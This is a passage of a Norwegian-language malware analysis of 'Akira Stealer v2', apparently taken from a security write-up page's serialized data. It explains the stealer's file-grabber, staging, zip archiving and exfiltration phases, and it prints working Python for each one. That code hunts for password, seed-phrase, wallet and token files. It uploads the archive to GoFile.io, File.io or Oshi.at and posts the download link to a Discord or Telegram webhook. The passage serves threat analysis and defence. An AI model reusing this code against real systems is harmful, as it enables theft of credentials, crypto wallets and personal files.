List",[533,9522,9523],{},"Et forhåndsdefinert sett med delstrenger styrer filutvalget. Bare filnavn som inneholder minst ett nøkkelord, vurderes:",[588,9525,9527],{"className":4490,"code":9526,"language":4492,"meta":594,"style":594},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[551,9528,9529,9534,9539,9544],{"__ignoreMap":594},[1683,9530,9531],{"class":1685,"line":1686},[1683,9532,9533],{},"keywordsFiles = [\n",[1683,9535,9536],{"class":1685,"line":2062},[1683,9537,9538],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1683,9540,9541],{"class":1685,"line":2068},[1683,9542,9543],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1683,9545,9546],{"class":1685,"line":2074},[1683,9547,7919],{},[604,9549,9550,9566],{},[607,9551,9552,9555,9556,9559,9560,558,9563,586],{},[540,9553,9554],{},"Partial Matches",": Nøkkelord som ",[551,9557,9558],{},"passw"," fanger både ",[551,9561,9562],{},"passwords.txt",[551,9564,9565],{},"passw_backup.docx",[607,9567,9568,9571],{},[540,9569,9570],{},"Broad Coverage",": Dekker termer knyttet til autentisering, wallet, krypto og tokens.",[862,9573,9575],{"id":9574},"_7113-filtyper-som-tillates","7.11.3 Filtyper som tillates",[533,9577,868],{},[533,9579,9580],{},"For å redusere støy håndheves en hviteliste av filendelser:",[588,9582,9584],{"className":4490,"code":9583,"language":4492,"meta":594,"style":594},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[551,9585,9586,9591,9596,9601],{"__ignoreMap":594},[1683,9587,9588],{"class":1685,"line":1686},[1683,9589,9590],{},"allowed_extensions = [\n",[1683,9592,9593],{"class":1685,"line":2062},[1683,9594,9595],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1683,9597,9598],{"class":1685,"line":2068},[1683,9599,9600],{},"    \".jpg\", \".png\"\n",[1683,9602,9603],{"class":1685,"line":2074},[1683,9604,7919],{},[862,9606,9608],{"id":9607},"_7113-størrelsesbegrensning","7.11.3 Størrelsesbegrensning",[533,9610,868],{},[533,9612,9613],{},"Filer større enn 2 megabyte hoppes over for å optimalisere eksfiltreringshastigheten og unngå store overføringer:",[588,9615,9617],{"className":4490,"code":9616,"language":4492,"meta":594,"style":594},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[551,9618,9619,9624,9629],{"__ignoreMap":594},[1683,9620,9621],{"class":1685,"line":1686},[1683,9622,9623],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1683,9625,9626],{"class":1685,"line":2062},[1683,9627,9628],{},"if file_size_mb \u003C= 2:\n",[1683,9630,9631],{"class":1685,"line":2068},[1683,9632,9633],{},"    # eligible for copy\n",[862,9635,9637],{"id":9636},"_7114-rekursiv-skanning-og-kopieringslogikk","7.11.4 Rekursiv skanning og kopieringslogikk",[533,9639,868],{},[533,9641,9642],{},"Når katalogene med høy verdi er identifisert, starter Akira en rekursiv skanningsrutine som traverserer undermapper og finner filer som treffer bestemte nøkkelord og filendelser. Fasen er bygget for presisjon og skjulthet: bare filer som treffer forhåndsdefinerte kriterier, som filnavn med sensitive nøkkelord og godkjente filtyper, vurderes. Logikken sørger for at bare relevant, brukergenerert innhold eksfiltreres. Den ignorerer systemfiler, cacher og binaries, og begrenser størrelsen på hver enkelt fil til 2 MB for å redusere opplastingsvolum og risiko for å bli oppdaget. Skannemetoden er stille, effektiv og optimalisert for skjult datatyveri i virkelige miljøer. Ved å kopiere treffene til en staging-mappe og føre en liste over det som ble tatt, klargjør Akira innholdet for pakking og eksfiltrering, samtidig som duplisering og operativ støy holdes nede.",[533,9644,9645,9646,9649],{},"Kjernerutinen ",[551,9647,9648],{},"steal_files()"," fungerer slik:",[588,9651,9653],{"className":4490,"code":9652,"language":4492,"meta":594,"style":594},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[551,9654,9655,9659,9664,9669,9674,9678,9683,9688,9693,9698,9703,9708,9713,9718,9723,9728,9733,9738,9743,9748,9753,9758],{"__ignoreMap":594},[1683,9656,9657],{"class":1685,"line":1686},[1683,9658,4981],{},[1683,9660,9661],{"class":1685,"line":2062},[1683,9662,9663],{},"def steal_files():\n",[1683,9665,9666],{"class":1685,"line":2068},[1683,9667,9668],{},"    stolen_files = set()\n",[1683,9670,9671],{"class":1685,"line":2074},[1683,9672,9673],{},"    temp_folder = Utils.get_temp_folder()\n",[1683,9675,9676],{"class":1685,"line":2394},[1683,9677,3851],{"emptyLinePlaceholder":325},[1683,9679,9680],{"class":1685,"line":2400},[1683,9681,9682],{},"    for folder in searchFolders:\n",[1683,9684,9685],{"class":1685,"line":3058},[1683,9686,9687],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1683,9689,9690],{"class":1685,"line":3854},[1683,9691,9692],{},"        if os.path.exists(current_path):\n",[1683,9694,9695],{"class":1685,"line":3860},[1683,9696,9697],{},"            for root, _, files in os.walk(current_path):\n",[1683,9699,9700],{"class":1685,"line":4105},[1683,9701,9702],{},"                for file in files:\n",[1683,9704,9705],{"class":1685,"line":5029},[1683,9706,9707],{},"                    lower = file.lower()\n",[1683,9709,9710],{"class":1685,"line":5035},[1683,9711,9712],{},"                    # Keyword check\n",[1683,9714,9715],{"class":1685,"line":5041},[1683,9716,9717],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1683,9719,9720],{"class":1685,"line":5047},[1683,9721,9722],{},"                        ext = os.path.splitext(lower)[1]\n",[1683,9724,9725],{"class":1685,"line":5053},[1683,9726,9727],{},"                        # Extension and size check\n",[1683,9729,9730],{"class":1685,"line":5059},[1683,9731,9732],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1683,9734,9735],{"class":1685,"line":5065},[1683,9736,9737],{},"                            # Prepare destination\n",[1683,9739,9740],{"class":1685,"line":5071},[1683,9741,9742],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1683,9744,9745],{"class":1685,"line":5077},[1683,9746,9747],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1683,9749,9750],{"class":1685,"line":5083},[1683,9751,9752],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1683,9754,9755],{"class":1685,"line":5089},[1683,9756,9757],{},"                            stolen_files.add(file)\n",[1683,9759,9760],{"class":1685,"line":5095},[1683,9761,9762],{},"    data.stolen_files.extend(stolen_files)\n",[533,9764,9765],{},[540,9766,9767],{},"Key points:",[2082,9769,9770,9778,9787,9796,9802],{},[607,9771,9772,9777],{},[540,9773,9774],{},[551,9775,9776],{},"os.walk",": Går rekursivt ned i underkataloger.",[607,9779,9780,9783,9784,586],{},[540,9781,9782],{},"Case-insensitive matching",": Filnavn normaliseres via ",[551,9785,9786],{},"lower()",[607,9788,9789,9792,9793,9795],{},[540,9790,9791],{},"Atomic copy",": Bruker ",[551,9794,7785],{}," for å bevare filinnholdet.",[607,9797,9798,9801],{},[540,9799,9800],{},"Set of stolen filenames",": Hindrer dobbeltkopier når samme fil forekommer to ganger.",[607,9803,9804,973,9809,9812],{},[540,9805,9806,9807],{},"Integration with ",[551,9808,9066],{},[551,9810,9811],{},"data.stolen_files"," samler listen over stjålne filer for senere rapportering.",[862,9814,9816],{"id":9815},"_7115-arkivering-og-eksfiltrering","7.11.5 Arkivering og eksfiltrering",[533,9818,868],{},[533,9820,9821,9822,9825],{},"Etter innsamlingen zippes ",[551,9823,9824],{},"Files","-mappen og sendes av gårde:",[588,9827,9829],{"className":4490,"code":9828,"language":4492,"meta":594,"style":594},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[551,9830,9831,9836,9841,9845,9850,9855],{"__ignoreMap":594},[1683,9832,9833],{"class":1685,"line":1686},[1683,9834,9835],{},"# Archive\n",[1683,9837,9838],{"class":1685,"line":2062},[1683,9839,9840],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1683,9842,9843],{"class":1685,"line":2068},[1683,9844,3851],{"emptyLinePlaceholder":325},[1683,9846,9847],{"class":1685,"line":2074},[1683,9848,9849],{},"# Upload & Notify\n",[1683,9851,9852],{"class":1685,"line":2394},[1683,9853,9854],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1683,9856,9857],{"class":1685,"line":2400},[1683,9858,9859],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[604,9861,9862,9878],{},[607,9863,9864,9869,9870,620,9872,620,9874,9877],{},[540,9865,9866],{},[551,9867,9868],{},"zip_client_file()",": Komprimerer hele temp-katalogen, inkludert ",[551,9871,9824],{},[551,9873,6324],{},[551,9875,9876],{},"Passwords"," og liknende.",[607,9879,9880,9884,9885],{},[540,9881,9882],{},[551,9883,9048],{},": Poster nedlastingslenken via Telegram eller Discord-webhook og lister hvert stjålne filnavn:",[588,9886,9888],{"className":4490,"code":9887,"language":4492,"meta":594,"style":594},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[551,9889,9890,9895,9900,9905,9910],{"__ignoreMap":594},[1683,9891,9892],{"class":1685,"line":1686},[1683,9893,9894],{},"fields.append({\n",[1683,9896,9897],{"class":1685,"line":2062},[1683,9898,9899],{},"\"name\": \"📂 Files\",\n",[1683,9901,9902],{"class":1685,"line":2068},[1683,9903,9904],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1683,9906,9907],{"class":1685,"line":2074},[1683,9908,9909],{},"\"inline\": False\n",[1683,9911,9912],{"class":1685,"line":2394},[1683,9913,9914],{},"})\n",[533,9916,9917],{},[540,9918,9919],{},"Conclusion:",[533,9921,9922],{},"File Grabber i Akira Stealer v2 jakter systematisk på sensitive dokumenter ved hjelp av filtre på nøkkelord og filendelse, respekterer en størrelsesgrense på 2 MB av effektivitetshensyn og samler de stjålne elementene i et arkiv. Designet gir både bredde (flere mapper) og presisjon (målrettede filtre), og det gjør modulen til en av de mest virkningsfulle fasene i livsløpet til malwaren.",[714,9924,9926],{"id":9925},"_712-eksfiltreringsstrategi","7.12 Eksfiltreringsstrategi",[533,9928,720],{},[533,9930,9931],{},"Eksfiltreringsmodulen håndterer innhøstede tokens og andre artefakter (cookies, autofills, logger) ved å stage dem i en strukturert katalog, komprimere dem til et arkiv, laste dem opp til flere filverter på nett og sende detaljerte webhook-varsler. Dette avsnittet dekonstruerer hvert steg med filstier, domeneendepunkter og kodereferanser for full sporbarhet.",[862,9933,9935],{"id":9934},"_7121-katalogstruktur-og-filnavn","7.12.1 Katalogstruktur og filnavn",[533,9937,868],{},[533,9939,9940],{},"Akira organiserer alle innsamlede artefakter i en ryddig og hierarkisk midlertidig katalogstruktur. Designet gir effektiv pakking og enkel gjennomgang hos angriperen etter eksfiltreringen. Hver datakategori, som Tokens, Cookies, Passwords eller Screenshots, ligger i sin egen undermappe under en rotsti oppkalt etter datamaskinen til offeret (for eksempel DESKTOP1234). Den strukturerte layouten gir oversikt, minimerer duplisering og effektiviserer arkiverings- og opplastingsprosessen. Den gjør også automatisert tolkning eller manuell inspeksjon langt enklere på angriperens side.",[588,9942,9945],{"className":9943,"code":9944,"language":593},[591],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[551,9946,9944],{"__ignoreMap":594},[862,9948,9950],{"id":9949},"_7122-staging-av-tokens-og-artefakter","7.12.2 Staging av tokens og artefakter",[533,9952,868],{},[533,9954,9955],{},"Før eksfiltreringen stager Akira alle relevante artefakter i de tilhørende undermappene. Token-verdier skrives for eksempel til hver sin .txt-fil for å gjøre rask skanning og validering enklere. Cookies, autofyll-oppføringer og passord skrives på samme måte til strukturerte tekstfiler oppkalt etter nettleser. Steget standardiserer datalayouten og gjør det mulig for automatiserte verktøy å spore hva som ble høstet inn. Det sikrer også at zip-arkivet senere følger et forutsigbart og angripervennlig format, uansett hvilke moduler som ble utløst.",[588,9957,9959],{"className":4490,"code":9958,"language":4492,"meta":594,"style":594},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[551,9960,9961,9966,9971,9976,9981,9986,9991,9996,10001,10006],{"__ignoreMap":594},[1683,9962,9963],{"class":1685,"line":1686},[1683,9964,9965],{},"import os, shutil\n",[1683,9967,9968],{"class":1685,"line":2062},[1683,9969,9970],{},"# Constants\n",[1683,9972,9973],{"class":1685,"line":2068},[1683,9974,9975],{},"TMP = os.getenv('TEMP')\n",[1683,9977,9978],{"class":1685,"line":2074},[1683,9979,9980],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1683,9982,9983],{"class":1685,"line":2394},[1683,9984,9985],{},"# Prepare structure\n",[1683,9987,9988],{"class":1685,"line":2400},[1683,9989,9990],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1683,9992,9993],{"class":1685,"line":3058},[1683,9994,9995],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1683,9997,9998],{"class":1685,"line":3854},[1683,9999,10000],{},"# Save token\n",[1683,10002,10003],{"class":1685,"line":3860},[1683,10004,10005],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1683,10007,10008],{"class":1685,"line":4105},[1683,10009,10010],{},"    f.write(token)\n",[604,10012,10013,10016],{},[607,10014,10015],{},"Tokens lagres i separate små tekstfiler for rask inspeksjon.",[607,10017,10018,10019,10022,10023,586],{},"Cookie-dumper fra ",[551,10020,10021],{},"Chromium.GetCookies()"," skrives til ",[551,10024,10025],{},"{Browser}_Cookies.txt",[862,10027,10029],{"id":10028},"_7133-oppretting-av-zip-arkiv","7.13.3 Oppretting av ZIP-arkiv",[533,10031,868],{},[533,10033,10034,10035],{},"Når stagingen er ferdig, komprimerer Akira hele katalogen til ett enkelt ZIP-arkiv. Filnavnet på arkivet følger en konsekvent navnekonvensjon: ",[10036,10037,10038,10039],"computer-name",{},"_",[10040,10041,10042],"timestamp",{},".zip, med maskinnavnet til verten og et UTC-tidsstempel i ISO 8601-format. Det sikrer både unikhet og kronologisk sporbarhet. Ved å gå gjennom hele staging-katalogen rekursivt bevares hver fil i sin relative struktur inne i ZIP-arkivet. Formatet forenkler massenedlasting og inspeksjon for angripere, særlig hvis hundrevis av ofre kompromitteres parallelt.",[588,10044,10046],{"className":4490,"code":10045,"language":4492,"meta":594,"style":594},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[551,10047,10048,10053,10057,10062,10067,10072,10077,10082,10087,10092,10097,10102,10107],{"__ignoreMap":594},[1683,10049,10050],{"class":1685,"line":1686},[1683,10051,10052],{},"import zipfile, datetime\n",[1683,10054,10055],{"class":1685,"line":2062},[1683,10056,3851],{"emptyLinePlaceholder":325},[1683,10058,10059],{"class":1685,"line":2068},[1683,10060,10061],{},"def create_archive(root_dir: str) -> str:\n",[1683,10063,10064],{"class":1685,"line":2074},[1683,10065,10066],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1683,10068,10069],{"class":1685,"line":2394},[1683,10070,10071],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1683,10073,10074],{"class":1685,"line":2400},[1683,10075,10076],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1683,10078,10079],{"class":1685,"line":3058},[1683,10080,10081],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1683,10083,10084],{"class":1685,"line":3854},[1683,10085,10086],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1683,10088,10089],{"class":1685,"line":3860},[1683,10090,10091],{},"            for fname in files:\n",[1683,10093,10094],{"class":1685,"line":4105},[1683,10095,10096],{},"                full = os.path.join(dirpath, fname)\n",[1683,10098,10099],{"class":1685,"line":5029},[1683,10100,10101],{},"                rel = os.path.relpath(full, root_dir)\n",[1683,10103,10104],{"class":1685,"line":5035},[1683,10105,10106],{},"                zf.write(full, rel)\n",[1683,10108,10109],{"class":1685,"line":5041},[1683,10110,10111],{},"    return zip_path\n",[604,10113,10114],{},[607,10115,10116,10117,10120],{},"Arkivet navngis ",[551,10118,10119],{},"DESKTOP1234_20250505T123456Z.zip"," av hensyn til sammenheng med verten.",[533,10122,10123],{},[540,10124,10125],{},"ZIP Filename Convention",[533,10127,10128],{},"Arkivet navngis med datamaskinnavnet til den kompromitterte verten, fulgt av et UTC-tidsstempel i ISO-format, noe som sikrer unikhet og kronologisk rekkefølge.",[588,10130,10132],{"className":4490,"code":10131,"language":4492,"meta":594,"style":594},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[551,10133,10134,10139,10143,10147,10152,10156,10161,10165,10169],{"__ignoreMap":594},[1683,10135,10136],{"class":1685,"line":1686},[1683,10137,10138],{},"import datetime, os\n",[1683,10140,10141],{"class":1685,"line":2062},[1683,10142,3851],{"emptyLinePlaceholder":325},[1683,10144,10145],{"class":1685,"line":2068},[1683,10146,10061],{},[1683,10148,10149],{"class":1685,"line":2074},[1683,10150,10151],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1683,10153,10154],{"class":1685,"line":2394},[1683,10155,10066],{},[1683,10157,10158],{"class":1685,"line":2400},[1683,10159,10160],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1683,10162,10163],{"class":1685,"line":3058},[1683,10164,10071],{},[1683,10166,10167],{"class":1685,"line":3854},[1683,10168,10076],{},[1683,10170,10171],{"class":1685,"line":3860},[1683,10172,10111],{},[533,10174,10128],{},[862,10176,10178],{"id":10177},"_7144-opplastingsflyt","7.14.4 Opplastingsflyt",[533,10180,868],{},[533,10182,10183],{},"Akira bruker en opplastingsstrategi i tre nivåer for å maksimere sjansen for at dataeksfiltreringen lykkes. Den forsøker først å laste opp arkivet til GoFile.io via det offentlige API-et deres, som returnerer en nedlastingslenke. Er GoFile utilgjengelig eller blokkert, faller den tilbake på File.io og deretter Oshi.at, slik at dataene alltid kommer ut. Disse tjenestene tilbyr anonym, kortlevd hosting, noe som gjør takedown og sporing vanskelig. Skriptet fanger den endelige nedlastings-URL-en og klargjør den for webhook-leveranse.",[2082,10185,10186,10218,10244],{},[607,10187,10188,10191],{},[540,10189,10190],{},"Primary: GoFile.io",[604,10192,10193,10201,10209],{},[607,10194,10195,973,10198],{},[540,10196,10197],{},"API to fetch servers",[551,10199,10200],{},"GET https://api.gofile.io/servers",[607,10202,10203,973,10206],{},[540,10204,10205],{},"Upload endpoint",[551,10207,10208],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[607,10210,10211,973,10214,10217],{},[540,10212,10213],{},"Response field",[551,10215,10216],{},"data.downloadPage"," inneholder den endelige URL-en.",[607,10219,10220,10223],{},[540,10221,10222],{},"Fallback #1: File.io",[604,10224,10225,10235],{},[607,10226,10227,973,10229,1256,10232],{},[540,10228,10205],{},[551,10230,10231],{},"POST https://file.io/",[551,10233,10234],{},"files={'file': open(...)}",[607,10236,10237,10240,10241,586],{},[540,10238,10239],{},"Response",": JSON-feltet ",[551,10242,10243],{},"link",[607,10245,10246,10249],{},[540,10247,10248],{},"Fallback #2: Oshi.at",[604,10250,10251,10265],{},[607,10252,10253,973,10255,1256,10258,10261,10262,586],{},[540,10254,10205],{},[551,10256,10257],{},"POST http://oshi.at/",[551,10259,10260],{},"files[]"," og parameterne ",[551,10263,10264],{},"expire=43200, autodestroy=0",[607,10266,10267,10269,10270,586],{},[540,10268,10239],{},": Klartekst som inneholder ",[551,10271,10272],{},"DL: \u003Curl>",[533,10274,10275],{},[540,10276,10277],{},"Implementation Snippet:",[588,10279,10281],{"className":4490,"code":10280,"language":4492,"meta":594,"style":594},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[551,10282,10283,10288,10292,10297,10302,10306,10311,10316,10321,10326,10331,10336,10341,10346,10351,10356,10361,10365,10370,10375,10379,10384,10388,10393,10398,10402],{"__ignoreMap":594},[1683,10284,10285],{"class":1685,"line":1686},[1683,10286,10287],{},"import requests\n",[1683,10289,10290],{"class":1685,"line":2062},[1683,10291,3851],{"emptyLinePlaceholder":325},[1683,10293,10294],{"class":1685,"line":2068},[1683,10295,10296],{},"def upload_with_fallback(zip_path):\n",[1683,10298,10299],{"class":1685,"line":2074},[1683,10300,10301],{},"    # GoFile\n",[1683,10303,10304],{"class":1685,"line":2394},[1683,10305,5144],{},[1683,10307,10308],{"class":1685,"line":2400},[1683,10309,10310],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1683,10312,10313],{"class":1685,"line":3058},[1683,10314,10315],{},"        for srv in servers:\n",[1683,10317,10318],{"class":1685,"line":3854},[1683,10319,10320],{},"            try:\n",[1683,10322,10323],{"class":1685,"line":3860},[1683,10324,10325],{},"                r = requests.post(\n",[1683,10327,10328],{"class":1685,"line":4105},[1683,10329,10330],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1683,10332,10333],{"class":1685,"line":5029},[1683,10334,10335],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1683,10337,10338],{"class":1685,"line":5035},[1683,10339,10340],{},"                url = r.json()['data']['downloadPage']\n",[1683,10342,10343],{"class":1685,"line":5041},[1683,10344,10345],{},"                if url: return url\n",[1683,10347,10348],{"class":1685,"line":5047},[1683,10349,10350],{},"            except: continue\n",[1683,10352,10353],{"class":1685,"line":5053},[1683,10354,10355],{},"    except: pass\n",[1683,10357,10358],{"class":1685,"line":5059},[1683,10359,10360],{},"    # File.io\n",[1683,10362,10363],{"class":1685,"line":5065},[1683,10364,5144],{},[1683,10366,10367],{"class":1685,"line":5071},[1683,10368,10369],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1683,10371,10372],{"class":1685,"line":5077},[1683,10373,10374],{},"        return r.json().get('link','')\n",[1683,10376,10377],{"class":1685,"line":5083},[1683,10378,10355],{},[1683,10380,10381],{"class":1685,"line":5089},[1683,10382,10383],{},"    # Oshi.at\n",[1683,10385,10386],{"class":1685,"line":5095},[1683,10387,5144],{},[1683,10389,10390],{"class":1685,"line":5101},[1683,10391,10392],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1683,10394,10395],{"class":1685,"line":5107},[1683,10396,10397],{},"        return text.split('DL: ')[1].strip()\n",[1683,10399,10400],{"class":1685,"line":5113},[1683,10401,10355],{},[1683,10403,10404],{"class":1685,"line":5780},[1683,10405,10406],{},"    return ''\n",[862,10408,10410],{"id":10409},"_7155-webhook-varsler-angriperens-uthenting-og-grensene-for-analytikerens-innsyn","7.15.5 Webhook-varsler, angriperens uthenting og grensene for analytikerens innsyn",[533,10412,868],{},[533,10414,10415],{},"Etter at ZIP-arkivet er lastet opp, sender Akira et webhook-varsel, vanligvis til Discord eller Telegram, med en strukturert embed som inneholder detaljert informasjon: antall stjålne tokens, antall cookies, filstørrelse og en klikkbar nedlastingslenke. Det gir angriperen umiddelbar tilbakemelding og tilgang til uthenting. For å sikre leveransen sendes det også en fallback-melding i klartekst som bare inneholder arkivlenken. Denne redundansen garanterer levering, selv om embeden blokkeres av plattformen eller filtreres bort. Fra forsvarerens side er denne kommunikasjonen ofte usynlig med mindre det finnes overvåking av utgående nettverkstrafikk.",[533,10417,10418],{},[540,10419,10420],{},"Embed Notification",[588,10422,10424],{"className":4490,"code":10423,"language":4492,"meta":594,"style":594},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[551,10425,10426,10431,10436,10441,10446,10451,10456,10461,10466,10470,10475,10480,10485,10489],{"__ignoreMap":594},[1683,10427,10428],{"class":1685,"line":1686},[1683,10429,10430],{},"# Build embed with key metadata\n",[1683,10432,10433],{"class":1685,"line":2062},[1683,10434,10435],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1683,10437,10438],{"class":1685,"line":2068},[1683,10439,10440],{},"fields = [\n",[1683,10442,10443],{"class":1685,"line":2074},[1683,10444,10445],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1683,10447,10448],{"class":1685,"line":2394},[1683,10449,10450],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1683,10452,10453],{"class":1685,"line":2400},[1683,10454,10455],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1683,10457,10458],{"class":1685,"line":3058},[1683,10459,10460],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1683,10462,10463],{"class":1685,"line":3854},[1683,10464,10465],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1683,10467,10468],{"class":1685,"line":3860},[1683,10469,7919],{},[1683,10471,10472],{"class":1685,"line":4105},[1683,10473,10474],{},"payload = {\n",[1683,10476,10477],{"class":1685,"line":5029},[1683,10478,10479],{},"    'username':'Akira 💊',\n",[1683,10481,10482],{"class":1685,"line":5035},[1683,10483,10484],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1683,10486,10487],{"class":1685,"line":5041},[1683,10488,2403],{},[1683,10490,10491],{"class":1685,"line":5047},[1683,10492,10493],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[604,10495,10496,10502],{},[607,10497,10498,10501],{},[540,10499,10500],{},"Delivery",": Sendes til angriperens Discord- eller Telegram-kanal.",[607,10503,10504,10507,10508,10511],{},[540,10505,10506],{},"Embed Link",": Inneholder en klikkbar ",[551,10509,10510],{},"download_url"," som peker på ZIP-filen på GoFile (eller en fallback-vert).",[533,10513,10514],{},[540,10515,10516],{},"Raw Link Fallback",[588,10518,10520],{"className":4490,"code":10519,"language":4492,"meta":594,"style":594},"# Ensure 